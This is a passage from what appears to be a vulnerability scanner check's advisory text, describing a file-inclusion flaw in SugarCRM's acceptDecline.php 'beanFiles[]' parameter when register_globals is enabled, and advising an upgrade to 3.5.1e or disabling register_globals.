Description :

SugarCRM is a Customer Relationship Manager written in PHP.

The version of SugarCRM installed on the remote host
does not properly sanitize user input
in the 'beanFiles[]' parameter in the 'acceptDecline.php' 
file. A attacker can use this flaw to display sensitive 
information and to include malicious code which can be used 
to execute arbitrary commands. 

This vulnerability exists if 'register_globals' is enabled.";

tag_solution = "Upgrade to Sugar Suite version 3.5.1e and/or disable PHP's 
'register_globals' setting.";
